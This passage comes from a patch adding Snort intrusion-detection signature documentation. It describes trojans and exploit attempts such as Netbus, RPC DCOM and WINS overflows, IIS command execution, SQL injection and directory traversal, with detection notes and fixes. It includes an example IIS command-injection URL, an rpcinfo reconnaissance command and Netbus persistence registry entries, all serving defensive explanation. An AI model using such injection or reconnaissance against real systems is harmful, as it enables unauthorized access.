+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/109.txt
+++ snort-2.8.5.2/doc/signatures/109.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+109
+
+--
+Summary:
+Netbus is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine. This Trojan also has the ability to scan machines and networks for open ports, it can also redirect legitimate traffic to other destinations. It can turn the infected host into an open proxy server.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Netbus sever to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	109	netbus active (outgoing TCP connection)
+	110	netbus getinfo (incoming TCP connection)
+	115	netbus active (outgoing TCP connection)
+
+Server ports usually opened may be one of the following depending on the version of netbus: 12345, 12346, 20034
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+The manual removal of this Trojan should only be attempted by an experienced Windows system administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+
+Registry keys added include:
+
+	Netbus Server Pro
+	PATCH "C:\windows\patch.exe /nomsg" - note: the entry may not necessarily be called PATCH
+	NetBuster = ""
+	SysCopy = "command /c copy %windir%\\keyhook.dl_ %windir%\\*.dll /Y"
+	Rundll32 = "rundll.dl_ /noadd"
+	Rundll = "regedit /s nbsetup2.reg"
+
+Later versions may also add one of these registry entries:
+
+	HKEY_LOCAL_MACHINE/SOFTWARE/UltraAccess Networks/NetBus Server/
+	HKEY_CURRENT_USER/NetBus Server/
+
+These entries should be deleted.
+
+The files rundll.dl_ (note the underscore, this is important) and nbsetup2.reg should be deleted if they exist.
+
+Ending the process is necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS401
+http://www.whitehats.com/info/IDS403
+
+Hackfix.org
+http://www.hackfix.org/netbusfix/index.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/netbus/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/599.txt
+++ snort-2.8.5.2/doc/signatures/599.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+599
+
+--
+Summary:
+This event is generated when an attempt is made dump entries from the portmapper on a Solaris host.
+
+--
+Impact:
+Information disclosure.  This request can discover what Remote Procedure Call (RPC) services are offered and on which ports they listen. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts.  It can be queried for all RPC services running, the RPC program name and version, the protocol (TCP or UDP), and the port where the service listens.  This can provide an attacker with valuable information about what RPC services are offered and on which ports.
+
+--
+Affected Systems:
+All Solaris hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover RPC services and their associated listening ports. 
+
+--
+Ease of Attack:
+Simple. Execute 'rpcinfo -p hostname/IP'.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC service.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS429
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1082.txt
+++ snort-2.8.5.2/doc/signatures/1082.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1082
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2000.txt
+++ snort-2.8.5.2/doc/signatures/2000.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2000
+
+--
+Summary:
+This event is generated when a remote user attempts to access readmsg.php on a web server. This may indicate an attempt to exploit a directory traversal vulnerability in the WebMail application on Sun Microsystems' Cobalt Qube 3.0 server appliance.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in the WebMail application used by Sun Microsystems' Cobalt Qube 3.0 server appliance. An attacker can use directory traversal techniques when accessing readmsg.php to view hidden files and directories on the web server with the access privileges of the server. 
+
+--
+Affected Systems:
+Any Cobalt Qube 3.0 server appliance running Cobalt Qube Webmail 2.0.1.
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques when executing readmsg.php to view directories and files on the Cobalt server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses readmsg.php, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the newest version of the software. Sun Microsystems has released a patch (Qube3-ml-Security-2.0.1-10626.pkg) that can be downloaded from ftp://ftp.cobalt.com/. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2987
+
+CVE
+http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CAN-2001-1408
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11073
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1957.txt
+++ snort-2.8.5.2/doc/signatures/1957.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1957
+
+--
+Summary:
+This event is generated when an attempt is made to ping the Remote Procedure Call (RPC) sadmind.
+
+
+--
+Impact:
+Intelligence gathering activity.  The sadmind ping will verify if the daemon is running.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite applications to perform remote distributed system administration tasks such as adding new users.  The ping function associated with the sadmind daemon will verify if it is active. 
+
+--
+Affected Systems:
+All systems running sadmind.
+
+--
+Attack Scenarios:
+An attacker can ping the sadmind daemon to verify if it is active.  There are several exploits associated with this daemon.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/866
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2131.txt
+++ snort-2.8.5.2/doc/signatures/2131.txt
@@ -0,0 +1,72 @@
+Rule:
+--
+Sid: 2131
+
+--
+Summary:
+This event is generated when an attempt is made to access 
+/iisprotect/admin on a host running Microsoft Internet Information 
+Server (IIS).
+
+--
+Impact:
+An attacker may be able to perform administrative tasks on the server 
+without authorization and may be able to manipulate the database that 
+IISProtect by injecting and executing SQL statements.
+
+--
+Detailed Information:
+IISProtect is a third-party application that provides password 
+authentication to directories on IIS using a Web-based interface. An 
+attacker can bypass authentication by requesting a specific file with an
+encoded URI, and can then proceed to use SQL injection techniques to 
+execute arbitrary code with administrative privileges.
+
+--
+Affected Systems:
+Any host using any version of IISProtect below v2.2.0.9 with IIS.
+
+--
+Attack Scenarios:
+An attacker can use SQL injection to execute arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses the IISProtect administration site,
+this rule may generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the host for signs of compromise.
+
+Disallow access to the IISProtect administration site from sources 
+external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7661
+http://www.securityfocus.com/bid/7675
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11661
+
+--
--- snort-2.8.5.2.orig/doc/signatures/872.txt
+++ snort-2.8.5.2/doc/signatures/872.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+872
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3196.txt
+++ snort-2.8.5.2/doc/signatures/3196.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3196
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft WINS.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft WINS such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker would need to send multiple malformed request to the WINS
+service running on a host.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uninstall the WINS service.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000678.txt
+++ snort-2.8.5.2/doc/signatures/100000678.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000678
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "header.php" using a remote file being passed as the 
+"mod_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "mod_root" parameter in the "header.php" script used by 
+the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1098.txt
+++ snort-2.8.5.2/doc/signatures/1098.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1098
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3194.txt
+++ snort-2.8.5.2/doc/signatures/3194.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3194
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Internet Information Server.
+
+--
+Impact:
+Serious. Code execution leading to unauthorized administrative access
+on the target host.
+
+--
+Detailed Information:
+Microsoft IIS contains a programming error that may allow an attacker to
+execute commands of their choosing on a vulnerable system. If a valid
+request for an executable file on the system is made, the server will
+honor the request and execute any commands sent to the system. It may be
+possible for an attacker to execute system commands sent to cmd.exe or
+an executable batch file (.bat) for example.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0
+	Microsoft IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can send a request to an executable file on the system and
+supply command arguments of their choice to the file. The server will
+honor the request and execute the attackers commands.
+
+For example, http://www.target.com/scripts/cmd.bat"+&+somecommand
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1433.txt
+++ snort-2.8.5.2/doc/signatures/1433.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1433
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3176.txt
+++ snort-2.8.5.2/doc/signatures/3176.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3176
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1875.txt
+++ snort-2.8.5.2/doc/signatures/1875.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1875
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3300.txt
+++ snort-2.8.5.2/doc/signatures/3300.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3300
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000856.txt
+++ snort-2.8.5.2/doc/signatures/100000856.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000856
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "mail" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "mail" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000143.txt
+++ snort-2.8.5.2/doc/signatures/100000143.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000143
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2554.txt
+++ snort-2.8.5.2/doc/signatures/2554.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2554
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3299.txt
+++ snort-2.8.5.2/doc/signatures/3299.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3299
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
